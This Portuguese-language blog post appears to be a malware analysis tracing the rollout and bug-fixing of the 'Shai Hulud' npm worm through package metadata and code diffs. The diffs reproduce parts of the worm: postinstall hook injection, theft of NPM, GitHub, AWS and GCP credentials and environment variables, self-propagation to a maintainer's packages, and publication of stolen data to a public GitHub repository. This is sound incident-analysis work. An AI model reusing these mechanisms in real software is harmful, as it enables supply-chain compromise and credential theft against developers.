Olá, internet, sou eu de novo, trazendo mais notícias alegres.
Ontem, reservei um tempo para sentar e realmente aprofundar nos payloads do Shai Hulud. E notei algo empolgante, que me levou a uma jornada (ou melhor, um 'wormhole') para analisar a linha do tempo do ataque com mais profundidade. Aqui está o que eu vi:

Você percebe como existem múltiplos package.json e bundle.js arquivos? Sim, isso é um bug na forma como o worm Shai Hulud se incorpora. Ele não substituiria os package.json e bundle.js; ele simplesmente adicionou outra cópia deles. Além disso, ele também nos fornece timestamps completos e o nome de usuário do usuário local que fez a alteração.
Também vemos múltiplas versões DIFERENTES do worm. Isso nos permite obter muitos insights sobre a linha do tempo dos eventos e como eles estavam depurando as coisas ao vivo. Você sabe o que isso significa: É hora de pegar nossas pás e começar a cavar.
Como o ataque começou?
Uma das grandes questões que tínhamos era: Qual foi o primeiro comprometimento? Como os atacantes fizeram o worm começar a se espalhar? Imediatamente ficou claro quando começamos a examinar os metadados dos arquivos do npm. A resposta foi simples:
Os atacantes semearam um número significativo de pacotes com o malware eles mesmos. Muito provavelmente usando tokens NPM roubados do ataque original do Nx. Como podemos saber? Pelos metadados do usuário nos arquivos. Para aqueles que não sabem, Kali é o nome de uma distribuição Linux usada por profissionais de segurança, não por desenvolvedores comuns. Mas vemos essa impressão digital nos primeiros 49 pacotes, totalizando 67 versões.
Tentativa e erro
Os atacantes não tiveram sucesso no início, o que ficou evidente pelo fato de terem lançado múltiplas versões de alguns pacotes. Vamos dar uma olhada em rxnt-authentication, que é o primeiro pacote malicioso que acreditamos ter sido lançado em 2025-09-14 17:58:50 UTC (Versão 0.0.3). A imagem no início da postagem é da versão 0.0.6, que foi a quarta versão que os atacantes lançaram. Aqui está a seção de scripts do primeiro trecho inserido pelos atacantes package.json:

Você nota algo estranho? A capitalização de postInstall está errado. O i não deveria ser capitalizado! Se fizermos um diff dos 2 primeiros bundle.js arquivos, podemos ver que os atacantes eventualmente descobriram:
--- prettified/bundle-1.js 2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postInstall = "node bundle.js"),
+ ((n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
@@ -168266,67 +168266,90 @@
architecture: this.mapArchitecture(this.systemInfo.architecture),
};
}Além de corrigir isso, os atacantes fizeram várias outras mudanças. Farei um favor aos atacantes e publicarei o changelog para eles, já que não o incluíram:
🛠️ Melhorias
- Módulo TruffleHog:
- O tempo limite para TruggleHog foi reduzido de 120 segundos para 90 segundos.
- Corrigida uma condição de corrida ao tentar executar o TruffleHog antes que o binário fosse baixado.
- Substituída uma referência a roubo de credenciais do Azure por GCP.
- Aumentado o número de pacotes npm que infectará de 10 para 20.
Claramente, os atacantes tinham a intenção de roubar credenciais do Azure, mas optaram por GCP. E decidiram dobrar o número de pacotes nos quais o worm se espalharia.
Outro bug
Em 2025-09-14 20:43:42, os atacantes lançaram outro lote de pacotes, sendo a primeira a versão 0.0.4 de rxnt-authentication com a capitalização corrigida de postinstall. Vemos então ~20 minutos depois, em 2025-09-14 21:03:17, eles também lançarem uma versão 0.0.5 com uma mudança interessante:
--- prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postinstall = "node bundle.js"),
+ (n.scripts || (n.scripts = {}),
+ (n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
Eles alteraram o script para inserir apenas o postinstall script se a chave 'scripts' existir no package.json. Parece que os atacantes estavam se preparando para atacar o ngx-bootstrap pacotes, o que fizeram em 15 de setembro de 2025 às 01:12. Aqui está o package.json:
{
"name": "ngx-bootstrap",
"version": "20.0.3",
"description": "Angular Bootstrap",
"author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
"license": "MIT",
"schematics": "./schematics/collection.json",
"peerDependencies": {
"@angular/animations": "^20.0.2",
"@angular/common": "^20.0.2",
"@angular/core": "^20.0.2",
"@angular/forms": "^20.0.2",
"rxjs": "^6.5.3 || ^7.4.0"
},
"dependencies": {
"tslib": "^2.3.0"
},
"exports": {
...
".": {
"types": "./index.d.ts",
"default": "./fesm2022/ngx-bootstrap.mjs"
}
},
"sideEffects": false,
"publishConfig": {
"registry": "https://registry.npmjs.org/",
"tag": "next"
},
"repository": {
"type": "git",
"url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
},
"bugs": {
"url": "https://github.com/valor-software/ngx-bootstrap/issues"
},
"homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
"keywords": [
"angular",
"bootstap",
"ng",
"ng2",
"angular2",
"twitter-bootstrap"
],
"module": "fesm2022/ngx-bootstrap.mjs",
"typings": "index.d.ts"
}
Percebe como não há scripts? Tentar executar o worm neste pacote não funcionaria. Então eles corrigiram. E vemos que o pacote também foi modificado por um kali usuário:

Claramente, este pacote foi enviado pelos próprios atacantes depois de depurarem por que o worm falhava ao tentar infectar este pacote.
Mais correções
Na versão 0.0.6 de rxnt-authentication, vemos mais mudanças (trecho omitido para brevidade).
--- prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js 2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
},
26935: (t) => {
t.exports =
- '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+ '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
},
26937: (t, r, n) => {
(n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
}
}
},
- 32304: (t, r, n) => {
- (n.r(r), n.d(r, { Application: () => Application }));
- class Application {
- constructor(t) {
- this.config = t;
- }
- getConfig() {
- return { ...this.config };
- }
- getRuntimeInfo() {
- return {
- nodeVersion: process.version,
- platform: process.platform,
- architecture: process.arch,
- timestamp: new Date(),
- };
- }
- }
- },
32348: (t, r, n) => {
(n.r(r),
n.d(r, {
@@ -125245,29 +125226,10 @@
te = n(72438);
},
54704: (t, r, n) => {
- (n.r(r),
- n.d(r, {
- exitWithCode: () => exitWithCode,
- formatOutput: () => formatOutput,
- logError: () => logError,
- logInfo: () => logInfo,
- parseNpmToken: () => parseNpmToken,
- }));
+ (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
var F = n(79896),
te = n(16928),
re = n(70857);
- function formatOutput(t) {
- return JSON.stringify(t, null, 2);
- }
- function logInfo(t) {
- console.log(`[INFO] ${t}`);
- }
- function logError(t) {
- console.error(`[ERROR] ${t}`);
- }
- function exitWithCode(t) {
- process.exit(t);
- }
function parseNpmToken(t) {
const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
n = t
@@ -156119,7 +156081,7 @@
await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
- private: !0,
+ private: !1,
auto_init: !1,
has_issues: !1,
has_projects: !1,
@@ -156140,11 +156102,6 @@
),
).toString("base64"),
})),
- await this.octokit.rest.repos.update({
- owner: n.owner.login,
- repo: n.name,
- private: !1,
- }),
{
owner: n.owner.login,
repo: n.name,
@@ -156178,20 +156135,6 @@
return [];
}
}
- async repoExists(t) {
- try {
- const r = await this.octokit.rest.users.getAuthenticated();
- return (
- await this.octokit.rest.repos.get({
- owner: r.data.login,
- repo: t,
- }),
- !0
- );
- } catch {
- return !1;
- }
- }
}
},
82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
__webpack_require__.r(__webpack_exports__);
var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
_lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
- _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
- _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
- _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
- _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
- _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
- _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+ _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+ _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+ _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+ _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+ _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
async function main() {
- const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
- name: "System Info App",
- version: "1.0.0",
- description: "Optimizes system.",
- }),
- r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
- n = t.getRuntimeInfo(),
- F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
- te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
- re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
- ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
- let oe = process.env.NPM_TOKEN;
- oe ||
- (oe =
+ const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+ r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+ n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+ F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+ te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+ let re = process.env.NPM_TOKEN;
+ re ||
+ (re =
(0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
- const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
- let se = null,
- ae = !1;
+ const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+ let oe = null,
+ ie = !1;
if (
- F.isAuthenticated() &&
+ r.isAuthenticated() &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
) {
- const t = F.getCurrentToken(),
- r = await F.getUser();
- if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
- await F.extraction(t);
- const n = await F.getOrgs();
- for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+ const t = r.getCurrentToken(),
+ n = await r.getUser();
+ if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+ await r.extraction(t);
+ const F = await r.getOrgs();
+ for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
}
}
- const [ce, le] = await Promise.all([
+ const [se, ae] = await Promise.all([
(async () => {
try {
if (
- ((se = await ie.validateToken()),
- (ae = !!se),
- se &&
+ ((oe = await ne.validateToken()),
+ (ie = !!oe),
+ oe &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
) {
- const t = await ie.getPackagesByMaintainer(se, 20);
+ const t = await ne.getPackagesByMaintainer(oe, 20);
await Promise.all(
t.map(async (t) => {
try {
- await ie.updatePackage(t);
+ await ne.updatePackage(t);
} catch (t) {}
}),
);
}
} catch (t) {}
- return { npmUsername: se, npmTokenValid: ae };
+ return { npmUsername: oe, npmTokenValid: ie };
})(),
(async () => {
- const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+ if (process.env.SKIP_TRUFFLE)
+ return {
+ available: !1,
+ installed: !1,
+ version: null,
+ platform: null,
+ results: null,
+ };
+ const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
let n = null;
return (
- t && (n = await ne.scanFilesystem()),
+ t && (n = await te.scanFilesystem()),
{
available: t,
- installed: ne.isInstalled(),
+ installed: te.isInstalled(),
version: r,
- platform: ne.getSupportedPlatform(),
+ platform: te.getSupportedPlatform(),
results: n,
}
);
})(),
]);
- ((se = ce.npmUsername), (ae = ce.npmTokenValid));
- let ue = [];
- (await te.isValid()) && (ue = await te.getAllSecretValues());
- let de = [];
- (await re.isValid()) && (de = await re.getAllSecretValues());
- const pe = {
- application: t.getConfig(),
+ ((oe = se.npmUsername), (ie = se.npmTokenValid));
+ let ce = [];
+ (await n.isValid()) && (ce = await n.getAllSecretValues());
+ let le = [];
+ (await F.isValid()) && (le = await F.getAllSecretValues());
+ const ue = {
system: {
- platform: r.platform,
- architecture: r.architecture,
- platformDetailed: r.platformRaw,
- architectureDetailed: r.archRaw,
+ platform: t.platform,
+ architecture: t.architecture,
+ platformDetailed: t.platformRaw,
+ architectureDetailed: t.archRaw,
},
- runtime: n,
environment: process.env,
modules: {
github: {
- authenticated: F.isAuthenticated(),
- token: F.getCurrentToken(),
+ authenticated: r.isAuthenticated(),
+ token: r.getCurrentToken(),
+ username: r.getUser(),
},
- aws: { secrets: ue },
- gcp: { secrets: de },
- truffleHog: le,
- npm: { token: oe, authenticated: ae, username: se },
+ aws: { secrets: ce },
+ gcp: { secrets: le },
+ truffleHog: ae,
+ npm: { token: re, authenticated: ie, username: oe },
},
};
- (F.isAuthenticated() &&
- !F.repoExists("Shai-Hulud") &&
- (await F.makeRepo(
- "Shai-Hulud",
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
- )),
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+ (r.isAuthenticated() &&
+ (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+ process.exit(0));
}
main().catch((t) => {
process.exit(0);
Aqui estão algumas notas de patch:
✨ Novas Funcionalidades
- Varredura Condicional TruffleHog: Agora você pode pular a varredura do sistema de arquivos TruffleHog definindo a
SKIP_TRUFFLEvariável de ambiente.
🛠️ Melhorias
- Migração de Repositório Aprimorada: O script de migração agora remove automaticamente o
.github/workflowsdiretório de repositórios migrados. - Repositórios Públicos Padrão: O repositório GitHub criado para armazenar os dados do sistema coletados agora é criado como público por padrão, em vez de ser tornado público após ser criado como privado.
- Verificação repoExists Removida: A verificação para ver se o repositório Shai-Hulud já existe foi removida. O script agora tentará criá-lo em cada execução, contando com o comportamento do GitHub para lidar com casos em que o repositório já existe.
Primeira disseminação comunitária
Com base nesta análise, a primeira disseminação comunitária ocorreu através do pacote capacitor-plugin-healthapp versão 0.0.2 em 15 de setembro de 2025 às 04:54.

É o primeiro pacote onde vemos que o arquivo tem um usuário que não é kali.
Como tinycolor foi comprometido?
A comunicação inicial desta campanha foi fortemente focada no pacote tinycolor. Então, vamos analisá-lo! A primeira versão maliciosa de @ctrl/tinycolor foi a versão 4.1.1, lançado em 15 de setembro de 2025 às 19:52.

Mas veja, outro kali! Este pacote provavelmente não foi comprometido por propagação na comunidade, mas pelos atacantes tentando semear outro pacote para iniciar o worm.
Como a CrowdStrike foi comprometida?
Aqui está o pacote @crowdstrike/foundry-js versão 0.19.1, lançado em 16 de setembro de 2025 às 01:14. Observe que o usuário kali também modificou isso..

Isso indica que os atacantes tinham credenciais para a CrowdStrike e usaram isso para semear outra onda do ataque.
Como o NativeScript foi comprometido?
Conversando com Daniel Pereira, que foi o primeiro a alertar a comunidade sobre esta campanha, ele tomou conhecimento dela porque observou que havia impactado o ecossistema NativeScript. O primeiro pacote foi @nativescript-community/arraybuffers versão 1.1.6 em 15 de setembro de 2025 às 09:16:

Um caso claro de disseminação na comunidade.
Principais eventos
Aqui está uma linha do tempo de eventos significativos durante a campanha.
Para onde vamos a partir daqui?
Esta campanha Shai Hulud representa uma escalada significativa em relação ao ataque S1ngularity original, que começou com Nx. Observamos os atacantes fazendo múltiplas tentativas para corrigir bugs e fazer com que o worm começasse a se propagar pelo ecossistema npm. A explicação mais lógica que encontramos é que os atacantes estavam de posse de credenciais que roubaram do ataque original, esperando o momento certo para usá-las.
Assim, podemos observar os atacantes semeando múltiplas rodadas de ataques ao longo de vários dias, já que sua tentativa não começou a se propagar imediatamente com velocidade significativa. Eles não estavam satisfeitos com a lentidão da propagação, o que é muita sorte para nós.
Mas isso levanta uma verdade incômoda: se eles estão de posse dessas credenciais há várias semanas e agora têm AINDA MAIS credenciais que conseguiram roubar, é provável que esta não seja a última vez que os veremos. Por enquanto, o worm ainda não atingiu a velocidade de escape para se tornar verdadeiramente viral.
Seria tolice presumir que os atacantes usaram os melhores trunfos que tinham na manga, em termos das credenciais que guardavam. Ainda não está claro qual é o incentivo e o motivo dos atacantes, o que sugere que esta saga não acabou. Parece mais do que provável que estamos diante de uma trilogia de uma história que ainda não foi contada. E, neste momento, não creio que o final será feliz.

